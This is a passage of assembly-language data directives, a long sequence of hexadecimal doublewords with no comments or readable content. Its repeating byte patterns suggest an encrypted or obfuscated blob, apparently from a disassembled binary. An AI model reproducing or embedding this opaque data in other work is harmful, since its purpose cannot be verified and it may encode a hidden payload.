5DE5D5B1h dd 99DF44F3h, 32567858h, 207CBAB1h, 0D70E7A5Ch, 0B6FEE7C3h dd 0DBAA276Eh, 3256AB96h, 31D9DAD1h, 0B256EAB1h, 0B330DB79h dd 53F7FD61h, 5436F942h, 827A5F30h, 5398B531h, 3D8620D1h dd 3256D43Eh, 0B9371FB1h, 32479C76h, 53A1BAB1h, 196C842Dh dd 564D2A15h, 0B72C0D2Ch, 69E65D56h, 3256D858h, 0E9DF36B1h dd 0F5C511F0h, 55CCFAE1h, 520F2725h, 32552ABEh, 0F2D657B1h dd 0F8DDCD1Ah, 0DB368BD0h, 3256EAB7h, 7335563Dh, 6D37FA6Dh dd 3251D7BEh, 6236AEB1h, 0EADD31E9h, 324542D0h, 8BC6D5B1h dd 362DBB0h, 1AF06B40h, 4FB77E58h, 0F612F5B8h, 0B85967E3h dd 325657BDh, 325023BEh, 0B359D5B1h, 3256EAB1h, 0DB567D73h dd 3256BAA2h, 17A3821Eh, 7B96BC2h, 0EE5CE94Ah, 6A1297F2h dd 67266A69h, 324503D1h, 0D29975B1h, 0E32C7490h, 23CBF82Ch dd 0DE98951Ah, 922D1A8Ch, 53882184h, 3256C458h, 68438AB1h dd 48A36733h, 2A549C07h, 91BB8BEEh, 0DEDDD9F1h, 3257D3BEh dd 52AEABB1h, 32563D48h, 0B30CEAB1h, 2AE7615Bh, 0B4594FB7h dd 32565DBFh, 32DCA1D1h, 0B35657B1h, 0FB92665Eh, 77DDB4DCh dd 0B0DF13B9h, 344E0AB7h, 3EBFDB48h, 1F565DB1h, 0F26622D1h dd 31DC91BDh, 0FBAD1C84h, 32465ABEh, 39BFEAB1h, 285675B1h dd 0DD47A3AFh, 4B396DF0h, 3694794Fh, 0BA5937B1h, 3256ABB1h dd 325653BEh, 6737EAB1h dd 3DCEC7D1h, 3256BF31h, 0DDD73BB1h, 0B937005Bh, 0F6D5AF5Dh dd 21D5A449h, 5256D5B1h, 38BF323Ah, 95675B1h, 4FCB2381h dd 0E6915ADCh, 52A3CF4Ch, 5486DCD1h, 5326860Fh, 3256D559h dd 0D8D7B0B1h, 344EC402h, 324F39BEh, 26BF5DB1h, 0C056AEB1h dd 12CAC55Bh, 15ED98CBh, 0D9E529F7h, 0CF66F5FBh, 3D39A665h dd 3256A237h, 3245B4B1h, 0E088AEB1h, 0B59B51FEh, 2B11BBE4h dd 0F6C36C9h, 0B6FBB30Ah, 0CA13B2F3h, 3256BAB1h, 0CE139A44h dd 3256AEB1h, 32565858h, 0A4B51FB1h, 6588D8D0h, 0CA8A7370h dd 7B106F8Fh, 54AA7A82h, 0C7AF433Ah, 0B2E52C76h, 325751A9h dd 5436ABB1h, 0B2E94B0Fh, 54374874h, 0A2C68E30h, 32573FBEh dd 0B2AE5DB1h, 0B659464Ah, 32565316h, 325127BEh, 0BD59D5B1h dd 3256EAB0h, 0CAA3354Dh, 3DBF4131h, 3252D335h, 33DEA1B1h dd 0CB5657B1h, 25D7A4F1h, 0DB56D5B1h, 3256EAA3h, 0AD175166h dd 75BF074Fh, 0D654E759h, 57F59A5h, 0C9D6D45Fh, 52D2A45Ah dd 5256D5B5h, 32556ABEh, 0D7D675B1h, 22D5B550h, 0DB565DB1h dd 3256AEBAh, 93D9432Dh, 3E1B9F5Ch, 5375CFECh, 0D5D613F1h dd 3ED07A41h, 3D56BAB1h, 32565B34h, 32D2A1B1h, 545657B1h dd 0B2595030h, 364B51BEh, 38BFEAB1h, 475675B1h, 0B8287A03h dd 0F06C71Ah, 8BD4ADF8h, 52504599h, 325422BEh, 5336D5B1h dd 0B2AAAAD0h, 0B659974Ah, 3256B95Ah, 325ADEBEh, 35BFAEB1h dd 5B5657B1h, 0DD88BE0Dh, 0C9D62BC5h, 97D2E552h, 0DB5675B2h dd 3256BAA5h, 34FA474Dh, 0B169D16Dh, 503FE738h, 0EE45AA3Ah dd 82B3B34Bh, 55AD6BD7h, 9ED27A52h, 0DB56BAB2h, 32565DA3h dd 17A5E1B4h, 5E15DB50h, 0A1CCEF27h, 0E10C390Ch, 20BF21A4h dd 225675B1h, 0C5C686BEh, 23620C64h, 9048BBCDh, 0F09CA913h dd 0C2B52BB8h, 0B99E5ED1h, 0B1598B4Ah, 325675ABh, 324553D1h dd 8AF05DB1h, 3CD385F0h, 0B515C2B9h, 0A04D818Ah, 745E1C92h dd 0C9D68B7Eh, 66D27AC1h, 0DB56BAB2h, 32565DBDh, 4EE07E15h dd 0D8D678E1h, 962565E9h, 0CB485ED7h, 0C7AE0931h, 3DEE8E31h dd 32570335h, 3ADA52B1h, 3D56AEB1h, 32565539h, 0B237CBB1h dd 0B659D08Fh, 3256EB13h, 1F68F54Dh, 33CE3EBEh, 0B2AE5DB1h dd 0B659C68Fh, 3256563Fh, 324E24BEh, 0DB36D5B1h, 3256EABDh dd 43FD24h, 897DD543h, 13C2D9CEh, 42852FD7h, 521636DAh dd 4BB02AD7h, 54B85510h, 3BD0E5D0h, 525675B1h, 96BE3BD7h dd 53D4EB61h, 0B2E52C4Eh, 22BF51A9h, 6F56ABB1h, 7D86466Eh dd 3643A825h, 0BE2FB889h, 545FCD4Ah, 22BF433Ah, 3056AEB1h dd 0C9AA997Ah, 7B0B5EB6h, 0FF8D0090h, 0B277323Bh, 35BF8D56h dd 0EB56BAB1h, 0BC5F06A1h, 0B330948Bh, 3DBED64Ah, 3257A235h dd 2FD1DAB1h, 3D56EAB1h, 3256623Ch, 324453B1h, 1C045DB1h dd 69CFE85Bh, 0FB4D40B1h, 0CA729B41h, 0E4C40107h, 3256EF58h dd 4F5A18B1h, 0B9306377h, 3247B4AFh, 0BD29AEB1h, 387B16D3h dd 9E493D58h, 9E82ED64h, 0B295FD09h, 3D368556h, 3256B831h dd 0DB373DB1h, 3256AEB4h, 400AAA59h, 3D36CA0Bh, 3256D53Fh dd 0EDE1E5B1h, 0C9D713D0h, 0B6597A30h, 32565D27h, 53B724D1h dd 0DB3637D1h, 3256ABBCh, 72F1170h, 119D6754h, 7BD50A61h dd 32D8B56Eh, 53565DB1h, 325425BEh, 533657B1h, 325A42D0h dd 12AD5B1h, 0E7EF9624h, 0CDD066D2h, 3D0350C7h, 32565A33h dd 33D2A1B1h, 0C75657B1h, 4D79394Eh, 6FAED3A9h, 325C6FBEh dd 37BF75B1h, 2A56BAB1h, 0A83827CCh, 52AAEB38h, 0CE68290Bh dd 0E8E1A4A6h, 52372DD0h, 0A3E23F05h, 0CE2BF6D0h, 20D3B5B0h dd 52565DB7h, 3CBF9704h, 335657B1h, 8A5B4870h, 0EFCA10BFh dd 0E7AA7ACAh, 88DD14F9h, 34449078h, 3242B4D1h, 9637AEB1h dd 93D2ADBBh, 0C30F8C65h, 3FD57607h, 39B03069h, 52068B25h dd 6237E4D0h, 32564C58h, 1D7C29B1h, 2BE9A04Bh, 57C766F1h dd 1C7E6001h, 0B0DDF071h, 344EF502h, 26A8348h, 0BD590AD1h dd 3256AEB1h, 6A37AEEEh, 37F529BEh, 0B9AFD5B1h, 204CFB0Bh dd 3D068DB7h, 3256B630h, 34DB52B1h, 3D56AEB1h, 3256573Eh dd 81D420B1h, 0CA50CD31h, 5266D688h, 5491FED7h, 53D07D0Fh dd 5CD952E9h, 0CA56AEB4h, 4D56ED3Ah, 21BFADA9h, 9856D5B1h dd 0BF9FA4FEh, 16DEFB56h, 4B7B8C61h, 59DD419Dh, 0B0D5652Dh dd 344E28B1h, 5DF53A5h, 3256DF58h, 681864B1h, 0D4C8E67Ch dd 0BB25C806h, 0B3594DF6h, 3256AEBBh, 32DE58D1h, 8256ABB1h dd 0CA06B4D5h, 0B2E5683Ah, 0B45973A9h, 3256BAB0h, 24AD64Dh dd 3256A358h, 0B05848B1h, 0BDB180Fh, 0A770761Ah, 0DB0E9EE0h dd 325675B6h, 0CF05F32Eh, 52349AF4h, 3256A758h, 65B380B1h dd 0E94F133Fh, 39BE83C0h, 0AB56EAB1h, 6B17A33Ah, 267F384Ah dd 0ECDCCB0Bh, 6DDFCFEAh, 0D9D737B9h, 6818902Ch, 32555ABEh dd 0C4D6EAB1h, 84BF14CFh, 0CE56BAB5h, 30AE1876h, 0CA56AEB1h dd 325DBFD1h, 0F2C4ABB1h, 7DE0602Fh, 5AE1C62Bh, 8BE92DCAh dd 537345B6h, 32565358h, 3DA3CEB1h, 0F537880Eh, 325753F4h dd 0B9AAD5B1h, 2A29EA0Bh, 21DC7AB7h, 0DB56BAB1h, 32565DBFh dd 2BC670EDh, 0F0E23CF2h, 0D0A821F2h, 0B0D5AB58h, 344E95B1h dd 0B05915A5h, 3256BAB3h, 53AE6E07h, 0BF599938h, 325657B0h dd 22112248h, 32423C44h, 0DA29EAB1h, 54CE54F3h, 4B53455Ah dd 81261925h, 34454DAEh, 0CAD5E278h, 72D3A4B2h, 0DB56D5B1h dd 3256EAA0h, 64EFDA99h, 0A3827131h, 9226E6FFh, 714456A1h dd 81D490EBh, 3050B331h, 5256D5B1h, 3D9455BEh, 0DB37830Eh dd 3256BA92h, 0E2E152D1h, 325F47D0h, 0D73357B1h, 2B349C4Ch dd 0B160857Ch, 0BF59E849h, 325677D4h, 325736BEh, 0B1AF5DB1h dd 3D5656CCh, 3256D835h, 3ADEA4B1h, 3D56D5B1h, 3256E838h dd 3D3715B1h, 0CE57FC07h, 3256DD18h, 1ED3A1B1h, 0CB5657B1h dd 0DAD552F1h, 32503CB4h, 0D5FAEAB1h, 0DBC29986h, 3256F358h dd 3247B4B1h, 0F1F8AEB1h, 0F1A89AB6h, 0DB20E7E6h, 5F95093Bh dd 1F8DA54Ch, 3256754Eh, 3256AB58h, 0E6E47CB1h, 7EFDAA4Fh dd 0A3694ADBh, 498D10B6h, 0DAD52897h, 3DD1E5B4h, 0DB5675B1h dd 3256BABBh, 18FB9270h, 63BD9E2Ch, 7CBF4AC3h, 3D56ABB1h dd 3256D236h, 33DAE5B1h, 0CB5675B1h, 35D5B5E2h, 3D565DB1h dd 3256AF38h, 0A8DDABB1h, 344E2B02h, 3256DE58h, 0BC2041B1h dd 6D1BAC18h, 0A7F31F44h, 5265593Ah, 325321BEh, 1BEE57B1h dd 0CB32F685h, 34BF8ED0h, 2656EAB1h, 6CFB8E83h, 32561390h dd 0B759DDB1h, 3256AE16h, 32565B58h, 0DD50FAB1h, 0AE9ED01Dh dd 2953C7h, 0DB907615h, 3256BABFh, 0F6210DC5h, 0F2EB7156h dd 67340C62h, 0F2D57F7Ch, 32593CB4h, 7EEEAB1h, 0D9E90CEFh dd 65748057h, 0DFFDAE84h, 81D4ADD7h, 0CB504F31h, 3D36CBF9h dd 3256D53Eh, 324603B1h, 12CC75B1h, 67E7EB79h, 0B527072Bh dd 0F416E238h, 0DA377857h, 3256ABBCh, 2E32B9E8h, 0EF820DB2h dd 3CA57792h, 293F01BFh, 530F37FCh, 0CA5EE938h, 3D5A1038h dd 3256AA36h, 6CBF2DB1h, 0CB56EAB3h, 3247F3BEh, 3EBFBAB1h dd 4A565DB1h, 405F2940h, 0E18B9354h, 0C5E9EC77h, 3FDEDA69h dd 0DB56EAB1h, 325675B9h, 0B2472AF7h, 8F0127CDh, 0DB90854Dh dd 325657A2h, 0AA92F16Eh, 58821BC2h, 9091EFE4h, 4A446280h dd 0C5056D83h, 325FB469h, 2457AEB1h, 0F3F1A240h, 0B1C18578h dd 3EBFD071h, 1356EAB1h dd 5CCB655Ah, 3D56998Ah, 3192781Dh, 2AD61D33h, 35D858B7h dd 5256ABB1h, 85995ED7h, 521E8B8Fh, 145B9630h, 883080B0h dd 0BB371719h, 0B559A6F6h, 325657B9h, 325428BEh, 5336D5B1h dd 525AAD38h, 32567858h, 675925B1h, 2A6760F9h, 84248E95h dd 0F8D7221Fh, 73F18B45h, 33C93CD0h, 0BA59EAB1h, 325675BFh dd 3256B358h, 0F58A33B1h, 4C580DE2h, 20BFF879h, 7C56ABB1h dd 0BD0441AEh, 83D6D62Eh, 8EBA6A67h, 59696D3Fh, 0C7966EE1h dd 3256BF58h, 32FE82B1h, 14143ABh, 817DF277h, 0ECE3DC59h dd 74DCEFBEh, 325F53B0h, 778A5DB1h, 0F3E88E31h, 0CB317033h dd 0B7592B19h, 3256D550h, 325E6CBEh, 0B85975B1h, 3256BAB3h dd 0F4553CD1h, 0F2D55648h, 20DA58B3h, 0DB56ABB1h, 3256D5BCh dd 7E0C18Dh, 0F40D0BDh, 0D332CCEh, 3257E658h, 0B336AEB1h dd 25AC9F58h, 0E95DCADDh, 326551BEh, 0B859EAB1h, 325675A0h dd 325D39BEh, 34BF5DB1h, 0FC56AEB1h, 99332D8Bh, 76CC21BEh dd 3D50C267h, 3256E135h, 32509CB1h, 503DBAB1h, 0B5B7B3B4h dd 0CA574D31h, 3D955448h, 32568B32h, 0C1D7B5B1h, 66AF12E4h dd 32566658h, 0EB4C49B1h, 475E3329h, 3020E926h, 0BA4647F9h dd 0A800BB7h, 3A115CD0h, 324D63BEh, 0B75975B1h, 3256BAA4h dd 32564D58h, 5DF20AB1h, 0B134A6DCh, 0DA51F3h, 8714A152h dd 3E1163F3h, 32566758h, 4D89E3B1h, 780BA169h, 45A92360h dd 3218436Ch, 0DB1FC1F1h, 3256D5D0h, 528E1D4Dh, 32567A58h dd 818047B1h, 0DAF88E14h, 6FABB5DAh, 5451C1F0h, 53EF4B31h dd 32562A94h, 33D3E5B1h, 0CE5675B1h, 0C5AE7C9Ah, 0B236A869h dd 0BA59EE50h, 325657B2h, 539014BEh, 0DB541532h, 3256EAB7h dd 738743EDh, 75DF1D33h, 33DF52B9h, 0CA56AEB1h, 0DB5A1038h dd 3256ABB4h, 0D19B7FE5h, 0BF591248h, 325675A7h, 3256AB58h dd 17010FB1h, 0C4256EACh, 4FE9AC25h, 370D17F6h, 0B3363E3Ch dd 4D89E359h, 0F8D713DDh, 53375706h, 3240D9BEh, 0BE59AEB1h dd 325657A1h, 3256A058h, 0F03F85B1h, 187C97h, 187FA5ECh dd 32573DBEh, 0FBAE5DB1h, 37BF6D49h, 2B5657B1h, 0AFECCE52h dd 93EDB5E4h, 3D515D16h, 32567737h, 53BA30B1h, 5436B13Ah dd 0F8C6D30h, 6C99D6D7h, 0F6D5CA08h, 325F3C4Dh, 0B009EAB1h dd 0DEE37914h, 520935A3h, 28EE3BD1h, 53051928h, 32565759h dd 0D8D7F1B1h, 344E69BAh, 3256EC58h, 0E82511B1h, 3D69611Eh dd 32565C3Ah, 21BF57B1h, 0B15657B1h, 0E0C4F31Fh, 28B9310Ah dd 4D4A8A2Ch, 0FBA6CDCEh, 88DD65BEh, 344E2308h, 324F21BEh dd 0B95957B1h, 3256ABA2h, 3256DB58h, 20A797B1h, 1E5546F3h dd 12D0505Fh, 130B8B5h, 8D59CE78h, 36D85860h, 5456ABB1h dd 530EEB0Eh, 325761BEh, 0B1AF75B1h, 0B659BA8Eh, 32565956h dd 3256BD58h, 75853BB1h, 86B34993h, 0F1C10425h, 686EC1CFh dd 504A00A6h, 3CBFBD3Ah, 7565DB1h, 4718AD44h, 7C81504Ch dd 0F6728790h, 3E232A83h, 0B0846BD1h, 544CC2FBh, 53A1BF0Bh dd 0CB5E284Eh, 0DAAA52E1h, 32565EA7h, 32532DBEh, 3D36D5B1h dd 39371406h, 6FD37A71h, 5256BAB1h, 3250D0BEh, 0B159AEB1h dd 325657B1h, 3256A459h, 0A062A9B1h, 0EDC70DC7h, 0E63F4F96h dd 82897E9Eh, 6986E2BEh, 0DB5125D0h, 325657A2h, 48F4ADABh dd 6B66AE8Ch, 0E78B5435h, 0EAF5B05Eh, 0DBF5DC91h, 32565DF5h dd 325C46D1h, 9D5157B1h, 802E39BFh, 7FBA6BB4h, 325661BEh dd 530875B1h, 52427D32h, 38BE9B3Ah, 5356AEB1h, 20634303h dd 0A2C193EFh, 6D0C87E9h, 0CD7703D0h, 0B3368A4Eh, 7B8F4571h dd 0DE8CDCD5h, 53055628h, 3DAA1238h, 3256AA31h, 0DB362CB1h dd 3256EAA5h, 19AB04A1h, 655E4A40h, 7ADB4D4Ah, 14BB874h dd 69ABB6F5h, 6CD01FE2h, 3E232AD0h, 31D0E5D1h, 545675B1h dd 3DBF493Ah, 18565DB1h, 9EE1FE85h, 0B351509Ch, 0CF32D030h dd 0CD379A51h, 3CBFE2C4h, 885675B1h, 4D3CDC58h, 99B1FD0Ch dd 473FD330h, 3D61A88Fh, 3256A730h, 34DDDAB1h, 3D56EAB1h dd 32567532h, 3A5652B1h, 0DB365DB1h, 3256AEA1h, 76A40E27h dd 85B8E8F7h, 7D1403DBh, 4DD2A247h, 538F8031h, 0B6597ABAh dd 32565D95h, 325724BEh, 0DBAF57B1h, 3256A8EAh, 3256C658h dd 7FA4B2B1h, 9F697CBBh, 0BB43A36Bh, 759EDB73h, 707119B0h dd 0CEAA123Ah, 0B059AC88h, 3256D686h, 3256FE58h, 0D87711B1h dd 8437A5Eh, 0C43090CEh, 0B1102A90h, 13A617F7h, 0CE13548Fh dd 36295649h, 15D2E5B1h, 0CB5675B1h, 325734BEh, 0B1AE5DB1h dd 3D56A2CEh, 32564235h, 325042B1h, 2DE3D5B1h, 4FCA8F44h dd 32563A58h, 0E6DCDAB1h, 0CDEE3C48h, 52A9514Eh, 3255D9BEh dd 8D59ABB1h, 37EFB46Eh, 5256EAB1h, 3254F9BEh, 0D8DCBAB1h dd 32565158h, 4BAB71B1h, 58560F6Dh, 0C640238h, 99A5B41Dh dd 0A7E98CD1h, 0E0BF145Ah, 3DA9454Fh, 32565A33h, 33DFA1B1h dd 0C75657B1h, 3746D432h, 321A51BEh, 0B159EAB1h, 325675A5h dd 325C53D1h, 58F85DB1h, 0E4E80146h, 641E3F8Fh, 538520D7h dd 3446AA32h, 32C06FBEh, 3FBF75B1h, 2256BAB1h, 0E09814D1h dd 676066AEh, 7B2793C8h, 75DD5EF0h, 6DDD2CB5h, 0F2EF8ABDh dd 531F9422h, 32577D58h, 75DDA5B1h, 20BF57B5h, 995657B1h dd 0CC68626h, 0BE574FD3h, 433912D2h, 0CC818233h, 3E093114h dd 0F2D73DD1h, 50970F8Ch, 23BE3644h, 8E56ABB1h, 0A3A7AF5Fh dd 2B996790h, 0C7944BC1h, 0C4F1BE1Bh, 32564D58h, 0E294DB1h dd 576BC351h, 0CD47A2E5h, 0D9543E9Ah, 0DB37B04Ah, 325674E6h dd 32503EBEh, 0B9365DB1h, 530CFC62h, 3254DABEh, 5336ABB1h dd 0DB52923Ah, 3256EABDh, 304A605Bh, 315987D7h, 1F96CAD9h dd 0CA5AF13Ah, 3D5E088Ah, 32560B34h, 8559B5B1h, 0CA048B46h dd 0DB52223Ah, 3256BABDh, 0EAC78BEAh, 607792FFh, 5F541ACBh dd 3D46FE9Ah, 3256CA3Ah, 2BD3E5B1h, 0DB5675B1h, 3256BAA5h dd 0DDBC7CD5h, 4D6CBB71h, 13A0317Ch, 74D5ED35h, 0C7725F1h dd 0DB42BFB2h, 325675A5h, 0AC6A09h, 0B0E06E0h, 4EA15FF9h dd 2DD0B2h, 0AB2E5459h, 0DB5A8A3Ah, 3256EABDh, 28FE3A85h dd 5F505531h, 0B0596B53h, 0B359749Ah, 325657A3h, 3256A658h dd 722C72B1h, 0F33C6295h, 0FBFA0607h, 0D9D5DDD2h, 0B3303DB4h dd 0CE9A497Eh, 0DBAF0DD0h, 3256ABEBh, 36115E49h, 3256E758h dd 89A4D3B1h, 725BE175h, 0BEEFF880h, 6DDD400Ah, 26D658BDh dd 0DB56ABB1h, 3256D5BEh, 0D7B65972h, 15F7BCFBh, 0A5C3CEADh dd 195156D6h, 0B1AEAAEEh, 35BF525Ah, 2D56ABB1h, 1223C6D9h dd 0B855D42Ch, 3444457Ch, 3256B358h, 502835B1h, 0DB62C7EBh dd 4DD51AD9h, 0B759A8A1h, 3256D5AEh, 325C0348h, 5DF675B1h dd 0AE6D7B58h, 95386CCAh, 3ADDA1F0h, 3D5657B1h, 3256A937h dd 1937B5B1h, 3FD2E568h, 0DB5675B1h, 3256BAB9h, 0B631D7F3h dd 0C4A3480Dh, 33570B38h, 324C21BEh, 0B959D5B1h, 3256EAA5h dd 32567A58h, 1F735DB1h, 0C9710BD7h, 2D8F1F1h, 0C3B88243h dd 0CDA95409h, 39D1DA4Eh, 5256EAB1h, 6561A330h, 0D4D6A6E7h dd 37EF3C9Ch, 0DB56AEB1h, 325657BDh, 62FCF26Fh, 0D66F69DCh dd 72EFCB34h, 3FBFDE42h, 0C256BAB1h, 0CEDB2158h, 2DEB491h dd 7F1E529Dh, 0CE69424Dh, 26BF2A4Eh, 756EAB1h, 4443515Ah dd 0C56DA871h, 0C6D202A7h, 52EEA17Dh, 53E24F10h, 1EE410D1h dd 0B330B927h, 536C2C76h dd 3ABE1578h, 356BAB1h, 0BB8CA037h, 3D183608h, 0B90F9D0Eh dd 2294CA66h, 0B159B5B1h, 3256EAB7h, 3256F9BEh, 0E2DDBAB1h dd 0B93608D0h, 34DBA166h, 3D5657B1h, 3256AB33h, 0DEDDB4B1h dd 0CE92694Dh, 34DD7AD1h, 3D56BAB1h, 32565D30h, 0E5DDC8B1h dd 543637D0h, 94B26830h, 3256D959h, 1F4D51B1h, 52C63A3Dh dd 2AA02578h, 3250B442h, 933FAEB1h, 0CE8D0976h, 32BECAEAh dd 6856D5B1h, 0F3A70030h, 0B25973A9h, 3256BAB9h, 3254D9BEh dd 5336AEB1h, 0EAE158D1h, 0B330CBD0h, 5349F85Eh, 4CEF503Ah dd 0B15973A9h, 3256BAADh, 32D452D1h, 0DA56AEB1h, 325657BFh dd 0B9E9722Ah, 1A67383Dh, 0D22D4FBh, 5309189Fh, 0B1A37382h dd 0B6595D8Eh, 3256ADC7h, 325EDCBEh, 3D36ABB1h, 85590C0Eh dd 35DD8B73h, 3E238A44h, 32573FBEh, 3DA35DB1h, 3256A630h dd 30DB58B1h, 5256ABB1h, 3A232AD0h, 3256E658h, 3ED10BB1h dd 26B338AEh, 1AAB0127h, 33D4A117h, 0CA5657B1h, 325A42E1h dd 0DC81D5B1h, 999B88D2h, 3E4B4CC6h, 0DBE61BCh, 0CB565DB2h dd 0B7596EBAh, 325657ABh, 325328BEh, 0CA36D5B1h, 0B937B5E0h dd 0E1DC15B6h, 53A505BEh, 32564C58h, 0F5D55BB1h, 33DA58A5h dd 0CB56ABB1h, 0CDA9BF58h, 77DF134Eh, 0CADD154Dh, 3256AE58h dd 5A75BEB1h, 8F399A06h, 0EEB8D1E1h, 1980CEF6h, 7CA088A1h dd 47A98BE3h, 47A98CBDh, 325953B9h, 2DC85DB1h, 0B817A795h dd 5EB7D215h, 122C2C7Dh, 0CB612A59h, 32542359h, 39AA89B1h dd 7D2B571h, 52565DB1h, 1EB52FD7h, 325ABF42h, 0ED62ABB1h dd 0B5A3C11h, 0A1DD6E25h, 0B9300F6Dh, 5237E570h, 0E5E152D1h dd 8FECC8D0h, 5DBF366Eh, 5256ABB3h, 54805ED7h, 53BD950Eh dd 52AA303Ah, 325A524Dh, 675DB1h, 6C9D5C27h, 790D8D06h dd 6CAA5C61h, 3D51ECD0h, 3254AF33h, 33DC7AB1h, 0CB56BAB1h dd 3DAA184Eh, 3256AF32h, 4DD5ABB1h, 0B659ABB5h, 3256D5FDh dd 325C63BEh, 37BF75B1h, 0CE56BAB1h, 98D7B354h, 325AD132h dd 3264D3BEh, 0DA36ABB1h, 3256D5B4h, 2A416D2Eh, 0BB8F4EBh dd 6D44F57Fh, 3245D9BEh, 3FBEAEB1h, 7E5657B1h, 76AFA990h dd 0B8225E76h, 215DA9C8h, 7CBF14EFh, 0C756BAB1h, 0CDA9A209h dd 27D1A14Eh, 0DB5657B1h, 3256ABA1h, 0D5974864h, 0BC25683h dd 3AA265FDh, 3CDB9CBAh, 32565808h, 64E1CEB1h, 3DFDA4D0h dd 3256AD3Dh, 8D30B5B1h, 0DB37B2A3h, 0CDA98B6Bh, 0CBDDDCD1h dd 5237983Bh, 76822EE2h, 0E9E158EBh, 222928D0h, 94D2DAB4h dd 5256EAB1h, 0E79BE30h, 0C8E0A72Fh, 2229DED0h, 8FD3A1B7h dd 3D5657B1h, 3256A336h, 30D7DAB1h, 5256EAB1h, 3EBF34D0h dd 4E56BAB1h, 74523602h, 0A2953FB2h, 0B9532EC5h, 0B159AFF6h dd 3256D581h, 324403D1h, 0E44F75B1h, 0CE7B7146h, 0D866CBF1h dd 6ECEA959h, 6312742Eh, 3256B958h, 3B552BB1h, 0E0F09257h dd 5D8A9D6h, 930920Ch, 53EC294Ah, 525AF13Ah, 32564759h dd 0A7E34B1h, 0B8892B00h, 806902C3h, 5A0E4123h, 32535323h dd 56A55DB1h, 697B3244h, 5391DCD7h, 32563058h, 0B459B5B1h dd 3256EAB3h, 43E65A03h, 361131D0h, 0F283DDD1h, 3E0925D0h dd 0DB37A2D1h, 3256ABC8h, 0F0E9DAD1h, 0DB379004h, 325675BDh dd 0B9F6CB4Ch, 0AAEE0A7Eh, 0F929E6B6h, 3D52103Ah, 3256A737h dd 8830B5B1h, 0BB596DBCh, 325675B1h, 3E0931D0h, 32564C58h dd 3A97AAB1h, 99B3747Fh, 6E77753Eh, 3C14DA47h, 6D7D88FEh dd 32469CB5h, 0B4E4BAB1h, 0C738B289h, 18FF7F5Fh, 31E9F640h dd 0D9D57AE9h, 8D59B5B4h, 0C2D78C79h, 0B1379607h, 3D55AACEh dd 32565934h, 0CA1757B1h, 0C78F7C49h, 3357F738h, 325A57BEh dd 0BA59EAB1h, 325675B7h, 32563ABEh, 20BF5DB1h, 9F56AEB1h dd 72BEDA01h, 383FC73h, 0DEB19E11h, 98CD6E95h, 0CDA9CDFBh dd 8BAF454Eh, 32565DB4h, 325224BEh, 613657B1h, 0BD59CAE8h dd 3256D5B0h, 0CAFD194Dh, 0CDAB4C58h, 5237464Eh, 0F145BA30h dd 0B559D9A8h, 325657B5h, 4A4B15D7h, 35BF1CD0h, 0C756EAB1h dd 3070C3CBh, 3A94E5A9h, 0DB03A5B1h, 3256AEB9h, 0CB21BCCFh dd 46311156h, 0B359393Ah, 3256EAABh, 23BE8DD1h, 1D56BAB1h dd 0A646F15Dh, 0D43F19Ch, 77975C68h, 0B52F7D22h, 0F6D5B4E9h dd 3258034Dh, 0A64575B1h, 0DF374C17h, 52856A45h, 44BDC183h dd 77DDA2D1h, 26BFCBB9h, 556D5B1h, 582AFA15h, 0EAFBD09Ch dd 0E04DD04Bh, 0F0A4CA3Bh, 0B9394410h, 37BF366Fh, 0C556ABB1h dd 0FFD8C734h, 3D5AAF8Ah, 32563233h, 776D46B1h, 0FD152A1h dd 0DB56AEB1h, 325657A0h, 0EBE6B23Eh, 7A5909C7h, 0AAF4C6C6h dd 30D29880h, 3AD6B50Fh, 3D565DB1h, 3256AC31h, 0F53737B1h dd 325657F4h, 35BFD5B1h, 0CF56EAB1h, 8B82064Fh, 4BF428Ch dd 0C7565DB1h, 33AAEB76h, 0DB5657B1h, 3256ABB8h, 73599EB9h dd 24C34761h, 324D9C9Ch, 0B459BAB1h, 32565DA4h, 3256BE58h dd 0F442C2B1h, 0A9B874F3h, 0D23123B5h, 0C7253FB8h, 0B9AE14E0h dd 0B35946F4h, 32565DBDh, 325027BEh, 0B55957B1h, 3256ABB1h dd 325A3C78h, 6C9EAB1h, 189EE686h, 0BA9DCE9Bh, 3E945E4Ah dd 35D6A1B1h, 3D5657B1h, 3256AA30h, 0C7032DB1h, 5236063Ah dd 3D378048h, 3256B83Fh, 53373DB1h, 0C7AA6A32h, 32BEAFD1h dd 6856ABB1h, 0F57B3F30h, 3BBFECA9h, 685675B1h, 0A8E63E9Ah dd 96D6F486h, 3256A858h, 55DF77B1h, 0CE436F6Ch, 1A31C82h dd 68018A6Ah, 3BB6380Fh, 6FDFDBCFh, 19EE3D4Dh, 53550B85h dd 4CEFED3Ah, 26BFADA9h, 6C56D5B1h, 0B01C5EC2h, 3BB1EB13h dd 38B48323h, 1BA36679h, 0B1BFFA34h, 0B659578Eh, 3256A9C2h dd 324F57BEh, 26BFEAB1h, 35675B1h, 0CB5A939Bh, 6E41B66Fh dd 0DA003F9Dh, 1B94FD52h, 0B12FB6E5h, 0B7592A8Eh, 3256EAF2h dd 72E51548h, 3256AB59h, 0AEF4D5B1h, 492AA1E1h, 9E51FB60h dd 0B954E06Ch, 530DBDD0h, 0CE422D32h, 0CDA9DF58h, 8B30DA4Eh dd 0BA59B89Bh, 3256AEA3h, 32565B59h, 217435B1h, 1E5D8B46h dd 670D8667h, 0B1372B3Dh, 3D56BECEh, 32560835h, 325D47B1h dd 47957B1h, 3A8BA803h, 1956CA2Bh, 3E29693Bh, 9D27AB1h dd 0DB56BAB1h, 32565DA5h, 12A6F745h, 11CE03FFh, 0DB83747Eh dd 531A0DDEh, 0E1013A5Ah, 32562558h, 25DAB5B1h, 0DB565DB1h dd 3256AEA3h, 1834F99Ch, 0CAEE1C4Dh, 84D244DBh, 965CFCC9h dd 77A9C5B4h, 3CDAB54Dh, 52565DB1h, 3256A958h, 0E73858B1h dd 46D672C3h, 269156D0h, 0CD5B0344h, 3CBF8A4Eh, 0DB56BAB1h dd 54486CBAh, 0A3F83470h, 0E0C3071h, 222928BCh, 43D2DAB4h dd 0CA56EAB1h, 34460A32h, 322C3FBEh, 0DBAA5DB1h, 3256AEBFh dd 3B3112ECh, 0BF9861A3h, 9F50FA97h, 3D171C4Ah, 32566C3Bh dd 21D3B5B1h, 0DB565DB1h, 3256AEBFh, 0DA592B12h, 7AD33E03h dd 92FC5C7Ch, 75DD1E7Bh, 0B9AA80B5h, 0B836B6EEh, 0AEE3E377h dd 0DB37AD17h, 32565722h, 324442D1h, 8F7CD5B1h, 2A6DA7CCh dd 8EE1154Fh, 591D7E1Ah, 97C38F6Dh, 539825D7h, 0C752103Ah 